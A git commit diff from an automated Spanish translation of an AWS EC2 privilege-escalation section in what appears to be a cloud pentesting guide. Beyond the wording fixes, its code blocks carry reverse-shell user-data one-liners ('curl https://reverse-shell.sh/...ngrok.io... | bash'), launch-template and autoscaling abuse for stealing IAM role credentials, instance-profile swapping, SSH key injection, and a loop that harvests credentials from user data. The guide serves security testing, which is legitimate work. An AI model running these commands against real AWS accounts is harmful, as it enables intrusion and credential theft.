Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-01-10 12:03:28 +00:00
parent 1682e95caf
commit bbe988d21f
7 changed files with 495 additions and 258 deletions

View File

@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
```
- **Acceso a través de rev shell en datos de usuario**
Puedes ejecutar una nueva instancia utilizando **datos de usuario** (`--user-data`) que te enviará un **rev shell**. No necesitas especificar el grupo de seguridad de esta manera.
Puedes ejecutar una nueva instancia utilizando un **user data** (`--user-data`) que te enviará un **rev shell**. No necesitas especificar el grupo de seguridad de esta manera.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -59,7 +59,7 @@ aws ec2 run-instances \
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
Para aprender a **forzar los servicios de ECS a ejecutarse** en esta nueva instancia de EC2, consulta:
Para aprender cómo **forzar a los servicios de ECS a ejecutarse** en esta nueva instancia de EC2, consulta:
{{#ref}}
aws-ecs-privesc.md
@@ -80,9 +80,9 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
```
Si el **perfil de instancia tiene un rol** y el atacante **no puede eliminarlo**, hay otra solución. Podría **encontrar** un **perfil de instancia sin un rol** o **crear uno nuevo** (`iam:CreateInstanceProfile`), **agregar** el **rol** a ese **perfil de instancia** (como se discutió anteriormente) y **asociar el perfil de instancia** comprometido a una **instancia** comprometida:
Si el **perfil de instancia tiene un rol** y el atacante **no puede eliminarlo**, hay otra solución alternativa. Podría **encontrar** un **perfil de instancia sin un rol** o **crear uno nuevo** (`iam:CreateInstanceProfile`), **agregar** el **rol** a ese **perfil de instancia** (como se discutió anteriormente), y **asociar el perfil de instancia** comprometido a una **instancia** comprometida:
- Si la instancia **no tiene ningún perfil de instancia** (`ec2:AssociateIamInstanceProfile`) \*
- Si la instancia **no tiene ningún perfil de instancia** (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
@@ -92,18 +92,16 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --ins
Con estos permisos es posible cambiar el perfil de instancia asociado a una instancia, por lo que si el ataque ya tenía acceso a una instancia, podrá robar credenciales para más roles de perfil de instancia cambiando el que está asociado a ella.
- Si **tiene un perfil de instancia**, puedes **eliminar** el perfil de instancia (`ec2:DisassociateIamInstanceProfile`) y **asociarlo** \*
- Si **tiene un perfil de instancia**, puedes **eliminar** el perfil de instancia (`ec2:DisassociateIamInstanceProfile`) y **asociarlo**.
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
- o **reemplazar** el **perfil de instancia** de la instancia comprometida (`ec2:ReplaceIamInstanceProfileAssociation`). \*
````
- o **reemplazar** el **perfil de instancia** de la instancia comprometida (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
````
**Impacto Potencial:** Privesc directo a un rol de EC2 diferente (necesitas haber comprometido una instancia de AWS EC2 y tener algunos permisos adicionales o un estado específico del perfil de instancia).
### `ec2:RequestSpotInstances`,`iam:PassRole`
@@ -164,7 +162,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
Un atacante con los permisos **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`y `ec2:ModifyLaunchTemplate`** puede crear una **nueva versión de Plantilla de Lanzamiento** con un **rev shell en** los **datos del usuario** y **cualquier Rol IAM de EC2 en él**, cambiar la versión predeterminada, y **cualquier grupo de Autoscaler** **usando** esa **Plantilla de Lanzamiento** que está **configurada** para usar la **última** o la **versión predeterminada** volverá a **ejecutar las instancias** usando esa plantilla y ejecutará el rev shell.
Un atacante con los permisos **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`y `ec2:ModifyLaunchTemplate`** puede crear una **nueva versión de Plantilla de Lanzamiento** con un **rev shell en** los **datos del usuario** y **cualquier Rol IAM de EC2 en ella**, cambiar la versión predeterminada, y **cualquier grupo de Autoscaler** **usando** esa **Plantilla de Lanzamiento** que está **configurada** para usar la **última** o la **versión predeterminada** volverá a **ejecutar las instancias** usando esa plantilla y ejecutará el rev shell.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -182,7 +180,7 @@ aws ec2 modify-launch-template \
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
Un atacante con los permisos **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** puede **crear una Configuración de Lanzamiento** con un **Rol de IAM** y un **rev shell** dentro de los **datos del usuario**, luego **crear un grupo de autoscaling** a partir de esa configuración y esperar a que el rev shell **robe el Rol de IAM**.
Un atacante con los permisos **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** puede **crear una Configuración de Lanzamiento** con un **Rol de IAM** y un **rev shell** dentro de los **datos del usuario**, luego **crear un grupo de escalado automático** a partir de esa configuración y esperar a que el rev shell **robe el Rol de IAM**.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -219,7 +217,7 @@ aws ec2-instance-connect send-ssh-public-key \
Un atacante con el permiso **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** puede **agregar una clave ssh a una conexión serial**. Si la serial no está habilitada, el atacante necesita el permiso **`ec2:EnableSerialConsoleAccess` para habilitarla**.
Para conectarse al puerto serial también **necesita conocer el nombre de usuario y la contraseña de un usuario** dentro de la máquina.
Para conectarse al puerto serial, también **necesita conocer el nombre de usuario y la contraseña de un usuario** dentro de la máquina.
```bash
aws ec2 enable-serial-console-access
@@ -231,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
Este método no es tan útil para privesc ya que necesitas conocer un nombre de usuario y una contraseña para explotarlo.
Este método no es muy útil para privesc ya que necesitas conocer un nombre de usuario y una contraseña para explotarlo.
**Impacto Potencial:** (Altamente improbable) Privesc directo a los roles de IAM de EC2 adjuntos a las instancias en ejecución.
### `describe-launch-templates`,`describe-launch-template-versions`
Dado que las plantillas de lanzamiento tienen versionado, un atacante con permisos de **`ec2:describe-launch-templates`** y **`ec2:describe-launch-template-versions`** podría explotarlos para descubrir información sensible, como credenciales presentes en los datos del usuario. Para lograr esto, el siguiente script recorre todas las versiones de las plantillas de lanzamiento disponibles:
Dado que las plantillas de lanzamiento tienen versionado, un atacante con permisos de **`ec2:describe-launch-templates`** y **`ec2:describe-launch-template-versions`** podría explotarlas para descubrir información sensible, como credenciales presentes en los datos del usuario. Para lograr esto, el siguiente script recorre todas las versiones de las plantillas de lanzamiento disponibles:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do